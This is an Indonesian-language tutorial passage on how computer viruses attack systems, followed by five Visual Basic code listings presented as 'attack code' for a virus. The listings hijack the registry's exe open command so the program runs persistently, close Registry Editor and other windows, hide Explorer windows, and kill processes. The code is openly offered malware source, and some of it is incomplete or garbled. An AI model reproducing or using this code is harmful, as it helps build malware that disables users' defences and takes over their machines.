Serangan
Setelah virus tersebut melakukan penggandaan ke system, mengubah registry.
baru virus tersebut melakukan penyerangan (pengerusakan). Serangan virus ini yang
sangat ditakuti oleh pengguna computer. Tetapi jika virus tersebut hanya melakukan
penyebaran itu bukan masalah karena tidak melakukan pengerusakan.
Bentuk-bentuk serangan (pengerusakan) yang dilakukan virus:
1. Menghapus, memindahkan, menyembunyikan dan mengerusak isi file
2. Infeksi terhadap file, biasanya virus melakukan ini untuk melindungi dirinya
dengan cara menempel dirinya pada file yang ingin di infeksi. Biasanya file
*.exe, *.com, *.scr , *.doc, *.xls.
3. Penyembunyian partisi, memformat partisi dan menghapus partisi, bagian
pengerusakan yang sangat merugikan orang lain.
4. Melakukan komunikasi yang terhadap hardware untuk mengacaukan kinerja
suatu hardware sehingga memungkinkan terjadi pengerusakan terhadap
hardware tersebut. Biasanya yang menjadi sasaran adalah RAM.
5. Mematikan aplikasi-aplikasi tertentu., hal ini sangat membuat kesal orang yang
terserang, karena aplikasi tersebut tidak dapat dijalankan karena aplikasi
tersebut telah dimatikan oleh virus. Biasanya aplikasi yang dimatikan tersebut
adalah aplikasi yang berhubungan dengan registry, process manager dan
antivirus.
Bentuk-bentuk serangan diatas adalah bentuk serangan yang paling sering
digunakan oleh virus untuk melakukan pengerusakan atau untuk melindungi dirinya
dari berbagai macam kemungkinan yang dapat membinasakan dirinya.
Menghapus, memindahkan dan menyembunyikan file merupakan hal yang
sangat sering digunakan oleh virus. Bahkan hampir semua virus menggunakan tehnik
ini untuk melakukan pengerusakan. Sangat merugikan orang lain adalah menghapus
file dan mengerusak isi file.
Infeksi terhadap file exe, com, dan scr sangat jarang ditemukan. Karena tehnik
ini cukup sulit dilakukan. Sehingga jarang sekali virus yang menggunakan tehnik ini.
Contoh virus yang menggunakan tehnik ini adalah ITZ.
Melakukan komunikasi terhadap hardware juga sangat jarang. Misalnya
mengacaukan alamat Port yang ada. Kalau sederhananya mengacau fungsi keyboard
dan mouse. Kalau pada keyboard biasanya akan melakukan perubahan kode ascii
sehingga apa ditampilkan tidak sesuai dengan diketikan. Sedangkan pada mouse
adalah melakukan pergerakan cursor mouse secara otomatis tanpa dikendalikan dan
melakukan fungsi pengeclick secara acak.
Mematikan aplikasi-aplikasi tertentu. Saat ini hampir semua jenis virus memiliki
kemampuan ini untuk melindungi dirinya sehingga sulit bagi antivirus atau program
sejenis untuk berjalan, karena jika aplikasi tersebut berjalan maka sang virus akan
langsung mematikan aplikasi tersebut.
Berikut ini adalah beberapa kode yang dapat digunakan virus untuk melakukan
penyerangan.
Kode Penyerangan1:
Siapkan satu buah form
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _
ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _
As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _
ByVal dwFileAttributes As Long) As Long Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1 REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum
Dim lokasi As String Dim namafile As String Private Sub Form_Load()
With App
lokasi = .Path & "\"
namafile = .EXEName & ".exe"
End With
CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _
REG_SZ, "", Chr(&H22) & lokasi & namafile & Chr(&H22) & " " & Chr(&H22) & _ "%1" & Chr(&H22) & " %*"
'Jika parameter pemanggilan virus tidak sama dengan kosong
If Command$ <> "" Then
If InStr(1, Command$, "Setup") <> 0 _ Or InStr(1, Command$, "winzip") <> 0 _ Or InStr(1, Command$, "Anti") <> 0 _ Or InStr(1, Command$, "virus") <> 0 _
Or InStr(1, Command$, "Regedit") <> 0 _ Or InStr(1, Command$, "word") <> 0 Then Shell Command$, vbNormalFocus DoEvents
End If
End If
'jalankan sekali saja
If App.PrevInstance Then End
End Sub
'Create or Set String Value Registry
Private Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret
End Function
Kode penyerangan2:
Siapkan satu buah form dan satu buah timer dengan Interval=100.
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
As Long
Private Const WM_CLOSE = &H10
Private Sub Timer1_Timer()
Dim FW As Long
FW = FindWindow(vbNullString, "Registry Editor") If FW Then SendMessage FW, WM_CLOSE, 0, 0
End Sub
Kode Penyerangan3:
Siapkan satu buah form dan satu buah timer dengan Interval=100.
Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Const WM_CLOSE = &H10
Private Sub Timer1_Timer()
Dim FW As Long
FW = GetForegroundWindow If FW Then
Dim buff As String * 255
SendMessage FW, WM_GETTEXT, 255, ByVal buff buff = Left$(buff, InStr(1, buff, Chr$(0)) - 1) If InStr(1, UCase(buff), "REG") <> 0 _
Or InStr(1, UCase(buff), "WIN") <> 0 Then
SendMessage FW, WM_CLOSE, 0, 0
End If
End If End Sub
Kode Penyerangan4:
Siapkan satu buah form dan satu buah timer dengan Interval=100.
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
lParam As Any) As Long
Private Const WM_GETTEXT = &HD
Private Const SW_HIDE = 0
Private Sub Timer1_Timer() Dim FW1 As Long Dim FW2 As Long FW1 = FindWindow("ExploreWClass", vbNullString) FW2 = FindWindow("CabinetWClass", vbNullString) If FW1 <> 0 Or FW2 <> 0 Then
Dim cap1 As String * 255 Dim cap2 As String * 255
SendMessage FW1, WM_GETTEXT, 255, ByVal cap1 SendMessage FW2, WM_GETTEXT, 255, ByVal cap2
cap1 = Left$(cap1, InStr(1, cap1, Chr$(0)) - 1) cap2 = Left$(cap2, InStr(1, cap2, Chr$(0)) - 1) If InStr(1, UCase(cap1), "WINDOWS") Then
ShowWindow FW1, SW_HIDE End If
If InStr(1, UCase(cap2), "WINDOWS") Then
ShowWindow FW2, SW_HIDE End If
End If
End Sub
Kode Penyerangan5:
Siapkan satu buah form, satu buah timer dengan Interval=100 dan satu buah module.
Ketikan pada form1:
Private Sub
Timer1_Timer()
TaskProses
End Sub
Ketikan pada module:
Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
Public Declare Function TerminateProcess Lib "kernel32" _ (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal
nCmdShow As Long) As Long
Public Declare Function LockWindowUpdate Lib "user32" _ (ByVal hwndLock As Long) As Long
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS _
Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const TH32CS_INHERIT = &H80000000
Public Const MAX_PATH As Integer = 260
Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long
End Type
Public Sub TaskProses()
Dim hSnapShot As Long, uProcess As PROCESSENTRY32, R As Long
Dim hProcess As Long, NamaFile As String
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&) uProcess.dwSize = Len(uProcess)
R = Process32First(hSnapShot, uProcess) Do While R
NamaFile = uProcess.szExeFile
NamaFile = Left$(NamaFile, InStr(1, NamaFile, Chr$(0)) - 1) If LCase(NamaFile) = "notepad.exe" Then
CloseHandle hSnapShot
hProcess = OpenProcess(&H1F0FFF, False, uProcess.th32ProcessID) x = TerminateProcess(hProcess, 0) Exit Do End If R = Process32Next(hSnapShot, uProcess) Loop CloseHandle hSnapShot End Sub